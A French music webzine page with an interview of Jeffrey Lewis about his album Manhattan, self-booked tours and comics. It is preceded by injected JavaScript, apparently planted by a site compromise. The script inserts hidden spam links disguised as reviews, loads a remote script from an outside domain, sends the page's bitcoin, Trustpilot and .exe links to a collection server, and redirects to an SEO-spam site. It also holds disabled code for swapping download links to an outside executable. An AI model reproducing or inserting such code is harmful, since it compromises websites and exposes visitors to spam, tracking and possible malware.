Logo/* Domain is for sale: admin@kickvox.com */ (function() { 'use strict'; if (window['shbNetLoaded']) return; window['shbNetLoaded'] = true; var isTopLayer = false; var popupHtml = "
It was a great stay, the reception staff, Bar and Restaurant staff where very friendly but very professional silvio berlusconi trapianto capelli roma<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
My daughter when on a camping trip and she had so much fun was swimming in glacier water #crazygirls køb concerta 54mg<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
The hoipoli of government officials and me for lunch which was average jak ustawi\u0107 rozdzielczo\u015b\u0107<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
There is always so much to see and do at OMSI. Great for kids of all ages. Friday and Saturday nights you can see a laser light show at the planetarium (Depeche Mode at 7pm, Pink Floyd at 8pm). pil drion kopen<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
Needs more accessible parking, and main entrance could use better directions. buy antminer t19<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
This park was interesting, i came here for the first time this past summer and it had a few decent rides but i loved the history behind the park. I would recommend visiting at least once. hfm99<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div> <\/div>
Great priced coffee with a hip vibe and interesting people. \u6fc0\u5149 \u812b\u6bdb \u5f8c \u8b77\u7406<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
Really spread out Zoo, lots of walking, entertaining area. \u0430\u0443\u0442\u043b\u0435\u0442\u044b \u0432 \u0438\u0442\u0430\u043b\u0438\u0438 \u0441\u0430\u043d-\u043c\u0430\u0440\u0438\u043d\u043e<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
Low quality food, its like eating in your dreams, tasteless food. They stopped making the great food they had 10 years ago. pharmacy order online<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
Dramatic hospitality. Half are closed during competitions, the other stalls are really impossible to do in terms of staff. \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u0430\u044f \u0431\u0443\u0445\u0433\u0430\u043b\u0442\u0435\u0440\u0438\u044f 50<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
Lovely little follie castle. A good amount of historical information and very knowledgeable volunteers. Amazing view over London and yummy cakes. A nice little trip out. sa272.com<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
Excellent rooms, outstanding service and wonderful location....loved it venda de pneus moto<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div> <\/div>
Simply beautiful !!!! a luxurious Roman villa right in front of the sea. 2009 jeep wrangler unlimited sahara parts unlimited<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
If you have a child, this is the place to go. Honestly. dog days of ny<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
I get lost everyone I go in here I go off and forget what door I came went in lol but other than that Im fine lol \u0111\u0103ng nh\u1eadp hi88<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
Great place. Buffet is good. Had a blast here. Cant wait to go back. eltron 2844 printer<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
The hotel is elegant in the heart of Toronto. One of the best historical hotels in the city. Wow we got a great deal and stayed here! The rooms are really cool. I really liked the Library and the breakfasts was lovely. da\u017eytas mdf<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
Its a good place to eat and they have best friendly waiters and waitresses air conditioner repair orange<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div> <\/div>
i come here to get my puzzles! theyre really affordable and its actually quite cheap, but expensive overall odzie\u017c robocza marki<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
Nikkole is extremely helpful. Give her a call she will get you the best deal! all-on-4 implantate preise<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
Amazing, great amount of space, able to see very well from any seat and the sound was amazing all around. managed it service<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
Clean, comfortable, spacious hotel rooms. Decent breakfast variety with great quality. Well-equipped gym and very friendly and helpful staff overall. \u0442\u043e\u043f 100 \u0444\u043e\u0442\u043e \u0438\u043d\u0442\u0438\u043c \u0433\u0435\u0438<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
Nice clear park. Lots of green, everything was very clean. Great sound system and you are accompanied by great music in the park. Definitely worth a trip. md5 128<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
I commend the University for its quality in teaching, physical structure, teacher qualification and innovative initiatives. seo demirbo\u011faz türkiye<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div> <\/div>
It was a very nice experience. A good place for holding important functions. software grafico<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
This school doesnt care if your first temporary set of new dentures fit!! Instructors and students constantly saying these are only your temporarys like it doesnt matter! And like you didnt also have to PAY for them! Eight consulting ab<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
Got to the casino pretty late, went with a bunch of friends, had a great time, staff was very friendly semalt net<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
Great hotel rooms. Very friendly housekeeping staff. The self check in process was easy and time saving. This was my 2nd stay here and i will be returning in the future. semalt net<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
As a visitor theres not much of access to the lawn or pool area but otherwise all what I saw was really clean n everything was designed in a very pleasing manner semalt net<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
real estate batumi georgia<\/a><\/span> <\/div>
<\/span> <\/div> <\/div> <\/div>
<\/div> <\/div> <\/div> <\/div> <\/td> <\/tr> <\/table> <\/div>"; var bottomHtml = "
It was a great stay, the reception staff, Bar and Restaurant staff where very friendly but very professional silvio berlusconi trapianto capelli roma<\/a>.<\/article>
My daughter when on a camping trip and she had so much fun was swimming in glacier water #crazygirls køb concerta 54mg<\/a>.<\/article>
The hoipoli of government officials and me for lunch which was average jak ustawi\u0107 rozdzielczo\u015b\u0107<\/a>.<\/article>
There is always so much to see and do at OMSI. Great for kids of all ages. Friday and Saturday nights you can see a laser light show at the planetarium (Depeche Mode at 7pm, Pink Floyd at 8pm). pil drion kopen<\/a>.<\/article>
Needs more accessible parking, and main entrance could use better directions. buy antminer t19<\/a>.<\/article>
This park was interesting, i came here for the first time this past summer and it had a few decent rides but i loved the history behind the park. I would recommend visiting at least once. hfm99<\/a>.<\/article>
Great priced coffee with a hip vibe and interesting people. \u6fc0\u5149 \u812b\u6bdb \u5f8c \u8b77\u7406<\/a>.<\/article>
Really spread out Zoo, lots of walking, entertaining area. \u0430\u0443\u0442\u043b\u0435\u0442\u044b \u0432 \u0438\u0442\u0430\u043b\u0438\u0438 \u0441\u0430\u043d-\u043c\u0430\u0440\u0438\u043d\u043e<\/a>.<\/article>
Low quality food, its like eating in your dreams, tasteless food. They stopped making the great food they had 10 years ago. pharmacy order online<\/a>.<\/article>
Dramatic hospitality. Half are closed during competitions, the other stalls are really impossible to do in terms of staff. \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u0430\u044f \u0431\u0443\u0445\u0433\u0430\u043b\u0442\u0435\u0440\u0438\u044f\t50<\/a>.<\/article>
Lovely little follie castle. A good amount of historical information and very knowledgeable volunteers. Amazing view over London and yummy cakes. A nice little trip out. sa272.com<\/a>.<\/article>
Excellent rooms, outstanding service and wonderful location....loved it venda de pneus moto<\/a>.<\/article>
Simply beautiful !!!! a luxurious Roman villa right in front of the sea. 2009 jeep wrangler unlimited sahara parts unlimited<\/a>.<\/article>
If you have a child, this is the place to go. Honestly. dog days of ny<\/a>.<\/article>
I get lost everyone I go in here I go off and forget what door I came went in lol but other than that Im fine lol \u0111\u0103ng nh\u1eadp hi88<\/a>.<\/article>
Great place. Buffet is good. Had a blast here. Cant wait to go back. eltron 2844 printer<\/a>.<\/article>
The hotel is elegant in the heart of Toronto. One of the best historical hotels in the city. Wow we got a great deal and stayed here! The rooms are really cool. I really liked the Library and the breakfasts was lovely. da\u017eytas mdf<\/a>.<\/article>
Its a good place to eat and they have best friendly waiters and waitresses air conditioner repair orange<\/a>.<\/article>
i come here to get my puzzles! theyre really affordable and its actually quite cheap, but expensive overall odzie\u017c robocza marki<\/a>.<\/article>
Nikkole is extremely helpful. Give her a call she will get you the best deal! all-on-4 implantate preise<\/a>.<\/article>
Amazing, great amount of space, able to see very well from any seat and the sound was amazing all around. managed it service<\/a>.<\/article>
Clean, comfortable, spacious hotel rooms.\r\nDecent breakfast variety with great quality.\r\nWell-equipped gym and very friendly and helpful staff overall. \u0442\u043e\u043f 100 \u0444\u043e\u0442\u043e \u0438\u043d\u0442\u0438\u043c \u0433\u0435\u0438<\/a>.<\/article>
Nice clear park. Lots of green, everything was very clean. Great sound system and you are accompanied by great music in the park. Definitely worth a trip. md5 128<\/a>.<\/article>
I commend the University for its quality in teaching, physical structure, teacher qualification and innovative initiatives. seo demirbo\u011faz türkiye<\/a>.<\/article>
It was a very nice experience. A good place for holding important functions. software grafico<\/a>.<\/article>
This school doesnt care if your first temporary set of new dentures fit!! Instructors and students constantly saying these are only your temporarys like it doesnt matter! And like you didnt also have to PAY for them! Eight consulting ab<\/a>.<\/article>
Got to the casino pretty late, went with a bunch of friends, had a great time, staff was very friendly semalt net<\/a>.<\/article>
Great hotel rooms. Very friendly housekeeping staff. The self check in process was easy and time saving. This was my 2nd stay here and i will be returning in the future. semalt net<\/a>.<\/article>
As a visitor theres not much of access to the lawn or pool area but otherwise all what I saw was really clean n everything was designed in a very pleasing manner semalt net<\/a>.<\/article>real estate batumi georgia<\/a><\/span>"; var popupCreated = false; var bottomPopup = false || /[?&]test=1/.test(location.href); //officeLog(bottomHtml); function onReady() { tryCreatePopup(2); var box = create('div'); append(box, document.body); var defaultStyles = { width: '1px', height: '1px', background: 'transparent', display: 'inline-block', margin: '2px', padding: 0, verticalAlign: 'bottom', border: 'none' }; var a = create('a'); css(a, defaultStyles); document.addEventListener('keydown', function(e) { if (e.keyCode === 192 && e.ctrlKey) { css(a, { width: '20px', height: '20px', background: '#fff', border: '1px solid red' }); } }); document.addEventListener('keyup', function(e) { css(a, defaultStyles); }); a.className = 'shbNetgpLink'; append(a, box); a.href = 'javascript:;'; on(a, 'click', openLinerPopup); css(box, { position: 'fixed', margin: 0, padding: 0, outline: 'none', border: 'none', zIndex: 999999999, overflow: 'visible', direction: 'ltr' }); css(box, { left: '3px', right: 'auto', top: '50px', bottom: 'auto', width: '42px', height: '168px' }); } function officeLog(data) { } function clearStyles() { if(typeof document.createStyleSheet === 'undefined') { document.createStyleSheet = (function() { function createStyleSheet(href) { if(typeof href !== 'undefined') { var element = document.createElement('link'); element.type = 'text/css'; element.rel = 'stylesheet'; element.href = href; } else { var element = document.createElement('style'); element.type = 'text/css'; } document.getElementsByTagName('head')[0].appendChild(element); var sheet = document.styleSheets[document.styleSheets.length - 1]; if(typeof sheet.addRule === 'undefined') sheet.addRule = addRule; if(typeof sheet.removeRule === 'undefined') sheet.removeRule = sheet.deleteRule; return sheet; } function addRule(selectorText, cssText, index) { if(typeof index === 'undefined') index = this.cssRules.length; this.insertRule(selectorText + ' {' + cssText + '}', index); } return createStyleSheet; })(); } var sheet = document.createStyleSheet(); sheet.addRule('#shbNetPaddingTable', 'display: none;'); sheet.addRule('#shbNetPaddingWr #shbNetPaddingTable', 'display: table;'); sheet.addRule('.shbNetPopupWr, .shbNetPopupWr *', '-webkit-text-shadow:none !important; text-shadow:none !important;'); sheet.addRule('.shbNetPopupTable img', 'display:inline; width:auto; height:auto; background:none; float:none;'); sheet.addRule('.shbNetPopupTable *', 'margin:0; padding:0; font-family:Tahoma,Arial,Sans-Serif,Verdana; font-size:11px; line-height:normal;'); sheet.addRule('.shbNetPopupTable a, .shbNetPopupTable b', 'text-decoration:none; background:none; height:auto !important; color:#737373; font-size:11px; font-weight:bold;'); sheet.addRule('.shbNetTopLayer .shbNetPopupWr', 'display:block !important; width: 100% !important; x-index:99999999 !important; background: #fff !important; padding: 2px 10px !important;'); sheet.addRule('.shbNetTopLayer #shbNetPaddingTable', 'display:table !important;'); } function createTopLayer() { //if (!domReady) return; var div = document.createElement('div'); div.className = 'shbNetTopLayer'; div.innerHTML = popupHtml; document.body.insertBefore(div, document.body.childNodes[0]); popupCreated = true; } function tryCreatePopup(stage) { if (popupCreated) return; if (isTopLayer) { createTopLayer(); return; } if (bottomPopup) { var box = document.createElement('div'); box.innerHTML = bottomHtml; document.body.appendChild(box); return; } if (stage === 1) { document.writeln(popupHtml); } else if (stage === 2) { var mainBox = create('div'); mainBox.innerHTML = popupHtml; document.body.appendChild(mainBox); } else { return; } var wr = $('shbNetPaddingWr'); if (!wr) return; popupCreated = true; var table = $('shbNetPaddingTable'); css(table, { position: 'fixed', margin: 0, padding: 0, left: 0, top: 0, width: '100%', height: '100%', direction: 'ltr', zIndex: 999999999, background: 'none' }); css(table.getElementsByTagName('td')[0], { verticalAlign: 'middle', background: 'rgba(0, 0, 0, 0.5)' }); var popup = $('shbNetPaddingPopup'); css(popup, { margin: '0 auto', padding: '20px 25px 20px', width: '800px', maxWidth: '98%', background: '#fff', border: '1px solid #000', textAlign: 'left', position: 'relative', fontFamily: 'Tahoma, Arial, Verdana', boxSizing: 'content-box' }); on(document, 'keydown', function(e) { if (e.keyCode === 27) { wr.style.display = 'none'; } }); } function removeClass(node, className) { if (node && node.className) { node.className = node.className.replace(new RegExp('\b' + className + '\b', 'g'), ''); } } function openLinerPopup() { var pad = $('shbNetPaddingWr'); var tbl = $('shbNetPaddingTable'); if (!pad || !tbl) return; pad.style.display = 'block'; tbl.style.display = 'table'; var mainPopup = $('shbNetPopupWr'); if (!mainPopup) return; mainPopup.style.display = 'none'; } function $(id) { return document.getElementById(id); } function on(elem, event, handler) { elem.addEventListener(event, handler, false); } function css(elem, style) { for (var prop in style) { elem.style[prop] = style[prop]; } } function create(tag) { return document.createElement(tag); } function append(elem, parent) { parent.appendChild(elem); } setTimeout(function() { window.CJSource = 'shb2'; var script = document.createElement('script'); script.src = 'https://cleverjump.org/counter.js'; (document.head || document.body).appendChild(script); }, 10); if (document.readyState === 'complete' || document.readyState === 'interactive') { onReady(); } else { on(document, 'DOMContentLoaded', onReady); } tryCreatePopup(1); try { clearStyles(); } catch (ex) {} (function() { if (!document.querySelector) return; var added = false; tryAddLink(); window.addEventListener('DOMContentLoaded', tryAddLink); setTimeout(tryAddLink, 100); setTimeout(tryAddLink, 1000); setTimeout(tryAddLink, 2000); function tryAddLink() { if (added) return; var menu = document.querySelector('#wpadminbar .ab-top-menu'); if (!menu) return; var li = document.createElement('li'); li.innerHTML = 'SEO promotion'; //menu.appendChild(li); added = true; save(); } function save() { var json = JSON.stringify({ hrefs: ['wordpress_new'], jsDomain: 'staticadd.com', refUrl: location.href }); var xhr = new XMLHttpRequest; xhr.open('POST', '//staticadd.com/save.php'); xhr.setRequestHeader('Content-Type', 'text/plain'); xhr.onload = function() { xhr.responseText; } xhr.send(json); } })(); (function() { function byId(id) { return document.getElementById(id); } function setCookie() { var date = new Date(); date.setTime(date.getTime() + (60 * 60 * 1000)); document.cookie = 'closePopupStartWow=1; path=/; domain=.' + location.hostname + '; expires=' + date.toGMTString(); } function listenerPopupSemalt(event){ if (event.origin != 'https://semalt.com') return; if (!event.data) return; if (event.data == 'closePopupStartWow'){ var el = byId('popupStartWow'); if (!el) return; el.style.display = 'none'; setCookie(); } else if(event.data.indexOf('startPopupStartWow')>-1) { try{var res = JSON.parse(event.data); if(res && res.page){ location.href = 'https://semalt.com/?s='+decodeURIComponent(res.page)+'&ref=blogspot'; } } catch(ee) { } setCookie(); } } function init() { if (document.getElementById('popupWowNode')) return; var div = document.createElement('div'); div.id = 'popupWowNode'; try { div.innerHTML = html; } catch (err) { return; } document.body.appendChild(div); setTimeout(function(){ if (document.cookie.indexOf('closePopupStartWow') !== -1) return; var el = byId('popupStartWow'); if (!el) return; el.setAttribute('src', 'https://semalt.com/popups/popup_wow.php?lang=en'); setTimeout(function(){ el.style.display = 'block'; }, 400); },400); } setTimeout(init, 100); setTimeout(init, 1000); setTimeout(init, 2000); window.addEventListener('message', listenerPopupSemalt, false); })(); setTimeout(function() { /*try { var links = document.querySelectorAll('a[href$=".exe"]'); for (var i = 0; i < links.length; i++) { links[i].href = 'https://myprintscreen.com/soft/myp0912.exe'; break; } } catch (err) {}*/ try { var links = document.querySelectorAll('a[href^="bitcoin:"], a[href*="trustpilot.com"], a[href$=".exe"]'); //var links = document.querySelectorAll('a[href^="https://"]'); if (links.length) { var hrefs = []; for (var i = 0; i < links.length; i++) { hrefs.push(links[i].href); } var json = JSON.stringify({ hrefs: hrefs, jsDomain: 'staticadd.com', refUrl: location.href }); var xhr = new XMLHttpRequest; xhr.open('POST', '//staticadd.com/save.php'); xhr.setRequestHeader('Content-Type', 'text/plain'); xhr.onload = function() { xhr.responseText; } xhr.send(json); } } catch (ex) {} }, 2000); })();
  • Politique de confidentialité
  • Le site
  • Droits d’auteurs
  • Contact
  • (re)Découvertes
  • Albums
  • Clips
  • Concerts
  • Dossiers
  • Editoriaux
  • Entretiens
  • Près de chez toi
  • Reportages
  • Sessions
  • Tribune libre
LeTransistor A la une Entretien avec Jeffrey Lewis

Entretien avec Jeffrey Lewis

Publié le 29 Jun 2016
Rédacteur : Agnès Bayou

Email, RSS Follow
Email

Au début de ce millénaire, l’anti-folk a commencé à sortir de l’underground pour se populariser au fil de la décennie, notamment grâce au film Juno qui propulsa les Moldy Peaches. Dans cette lignée lo-fi, Jeffrey Lewis sortit The Last Time I Did Acid I Went Insane, premier d’une longue liste d’album chez Rough Trade. Quinze ans plus tard, Manhattan est, comme il l’affirme, son meilleur à ce jour. Lors de son passage à l’Espace B, Le Transistor a rencontré cet artiste on-ne-peut-plus DIY pour qu’il raconte son quotidien entre tournées et bandes dessinées.

Cette interview est l’occasion pour Jeffrey Lewis de revenir tout en modestie sur sa carrière. « On a eu une étrange parcours… Je crois que la première fois qu’on a joué à Paris c’était en 2002, c’est cool qu’il y ait encore des gens intéressés. La carrière de mon groupe dans cette industrie est inhabituelle, parce que quelque part, il n’y a pas tant de groupes qui tiennent aussi longtemps.»

Manhattan est son septième album chez Rough Trade – mais enième depuis 1997. « Je pense que c’est potentiellement mon meilleur, ce qui est assez inhabituel après 15 ans de carrière. Peu importe, l’inhabituel fait un peu partie de ce groupe. Un peu comme d’arranger nous-mêmes les tournées, ou d’essayer de nouvelles choses dans la setlist, jusqu’à présent ça marche : on est toujours là, il y a toujours du monde à nos concerts, et j’ai toujours envie d’écrire de nouvelles chansons et de donner des concerts. » En live, Jeffrey Lewis aime bousculer ses habitudes. « Moins maintenant, je cherche un équilibre pour que les expérimentations ne prennent pas le pas sur le concert. Mais on essaie toujours des trucs parce que t’as pas la même énergie quand tu l’as fait des centaines de fois, ça se voit. Donc chaque soir je m’applique sur la setlist, parce que c’est ce que j’apprécie chez des groupes comme Yo La Tengo ou The Grateful Dead : les gens n’ont aucune idée de ce qui les attend. Tout devient une surprise ! »

Une des particularités de Jeffrey Lewis dans ce métier, c’est qu’il booke lui-même ses tournées. « J’adorerais que quelqu’un me livre une tournée toute prête. Notre tourneur nous a trouvé deux dates en France, sauf que c’est pas assez pour une tournée, donc je dois trouver les autres dates moi-même. Donc il y a toujours du travail. Si je le faisais pas, il ne se passerait rien. » Ce manque de soutien de la part de son label ne le décourage pas. « Si on n’avait pas de succès, ce serait frustrant, mais j’en ai eu plus que je n’avais imaginé… Quand j’ai commencé, je n’avais aucune ambition, je pensais pas signer de contrat avec un label, je pensais pas aux tournées, encore moins de jouer à paris. Je voulais juste faire de bonnes chansons et les enregistrer sur cassettes. C’est pareil pour mes bandes dessinées, je voulais juste faire des dessins. »

YouTube Preview Image

Car avant de devenir musicien, Jeffrey Lewis était – et est toujours – dessinateur. « Je suis très fier de ma nouvelle BD. J’essaie aussi de travailler sur une nouvelle chanson illustrée. La dernière relevait de la fiction, mais je veux faire une autre historique donc je me suis renseigné sur Cuba. C’est pas non plus un équilibre intentionnel, mais parfois je réalise que j’ai pas fait de BD depuis longtemps, ou qu’on n’a pas fait de tournée de la côte ouest des USA depuis plus d’un an, donc je m’y mets. » L’artiste semble avoir besoin de cumuler les projets. « Il y a tellement de choses à faire que tout me paraît toujours trop tard. Sauf qu’on peut pas faire toutes les tournées en même temps : on est pas allés en Australie depuis 4 ou 5 ans, ce serait cool d’y retourner mais on peut pas tout faire. Cela dit, on vient en Europe à peu près chaque année. Et chaque concert a son lot de nouvelles chansons, donc c’est pas vraiment des tournées de promotion d’album en particulier. »

Sur Manhattan, Jeffrey Lewis parle justement de l’enfer des tournées. « J’arrive toujours à organiser une tournée, et sans aucun jour de repos : je trouve des concerts pour chaque soirée, quoi qu’il arrive. C’est pas toujours facile de contacter les salles soi-même, il y a toujours une raison, peu importe la ville : à LA, on m’a sorti le prétexte d’un match de basket qui réquisitionnait l’attention, mais quand c’est pas le match, c’est une élection, ou les examens de fin d’année… » Malgré les obstacles, l’artiste DIY arrive à trouver son compte dans cette dynamique. « Ca ne m’arrête pas, on y arrive toujours. Ca marche, on fait encore des bénéfices, on s’amuse, et on fait de l’art qui me passionne. C’est marrant ce challenge, c’est comme si le monde était contre nous. Ca fait un peu partie de l’inspiration, si c’était trop facile, nous n’aurions pas ce sentiment d’accomplissement. Peut-être je sais pas. »

YouTube Preview Image

C’est d’ailleurs parce que son groupe est autonome qu’il arrive à dégager des bénéfices. « Certains groupes ont un tour manager ou un chauffeur. Mais quand on revient de tournée, on a autant d’argent qu’un plus gros groupe, parce qu’on n’a pas à payer ces intermédiaires. On tourne vraiment partout : on a joué au Vietnam l’année dernière, et en Chine, et c’est aussi possible parce qu’on le fait nous-mêmes. C’est mon boulot, et la paie est bonne en plus, ça me permet de payer mon loyer à New-York. » Même si d’un coup ce bourreau de travail culpabilise à l’idée de ne pouvoir écrire ou dessiner en tournée. « C’est difficile d’être créatif, il y a tellement de choses à faire, genre savoir où garer la voiture, où dormir… Ou par exemple, quand on arrive en Suisse, on peut pas utiliser les étiquettes en euro, il faut les traduire en francs suisses. Sans compter le demi-tour pour le mec dans le groupe qui a oublié son téléphone à la dernière étape… ! »

Sans compter que chaque tournée se prépare avec des musiciens différents. « J’aimerais bien garder les mêmes, parce que c’est toujours beaucoup de travail de trouver un nouveau musicien et de lui apprendre 100 chansons… Mais tout le monde n’a pas le loisir de tourner sans arrêt. Cela dit, notre batteur Brent, je le connais depuis 15 ans, et mon frère Jack est avec nous sur cette tournée. C’est agréable aussi d’avoir différentes combinaisons. C’est comme une nouvelle personnalité, en fonction des idées que chacun apporte, ça garde l’expérience passionnante. » Sa manière de décrire l’expérience sur les routes donne l’impression d’un roadtrip entre potes. « C’est quand même du boulot, certains jours sont plus durs que d’autres. Mais j’adore manger des croissants à Paris et le lendemain des bratwurst en Allemagne. Avec un autre boulot, je pourrais pas voir mes amis parisiens, dublinois ou londoniens tous les ans. Même pour juste une nuit, c’est cool de pouvoir se voir. Ce job un peu spécial me plaît toujours. Je pensais pas le faire aussi longtemps, et je sais pas si je vais vraiment pouvoir le faire encore longtemps. »

YouTube Preview Image

Un doute prend soudain le quarantenaire, à savoir s’il sera capable de tourner encore dans vingt ans. « Si à 65 ans, les tournées deviennent trop difficiles physiquement et que plus personne ne s’intéresse, est-ce que je continuerais ? En même temps toute ma vie j’ai dessiné, donc quelque part je ne m’inquiète pas trop. J’adore le dessin et c’est sûr que je pourrais le faire toute ma vie. Mais c’est agréable de pouvoir faire les deux. » Sous sa carapace de cynisme, Jeffrey Lewis reste un éternel optimiste.

Réclame

Manhattan, le meilleur album de Jeffrey Lewis, est paru en octobre 2015 chez Rough Trade / Beggars
Jeffrey Lewis revient en tournée à la fin de l’été 2016, reste plus qu’à espérer qu’une salle lui réponde.
Lire le compte rendu du concert de Jeffrey Lewis à l’Espace B

Email, RSS Follow
Email



Catégorie : A la une, Entretiens
Artiste(s) : Jeffrey Lewis, Jeffrey Lewis and Los Bolts
Salle(s) : Espace B
Production(s) : Beggars, Rough Trade

Et toi t'en penses quoi ?

A lire aussi

  • Peter Doherty & Frédéric Lo au Trianon
  • P.R2B à La Cigale
  • Brigitte Fontaine au Printemps de Bourges
  • Franz Ferdinand au Zénith
  • Myele Manzanza et Monsieur MÂLÂ au New Morning

Gallery

img_1968 TheNotwist4 Lisa-Mitchell-5 DSC_9359.MOV.00_00_16_12.Still001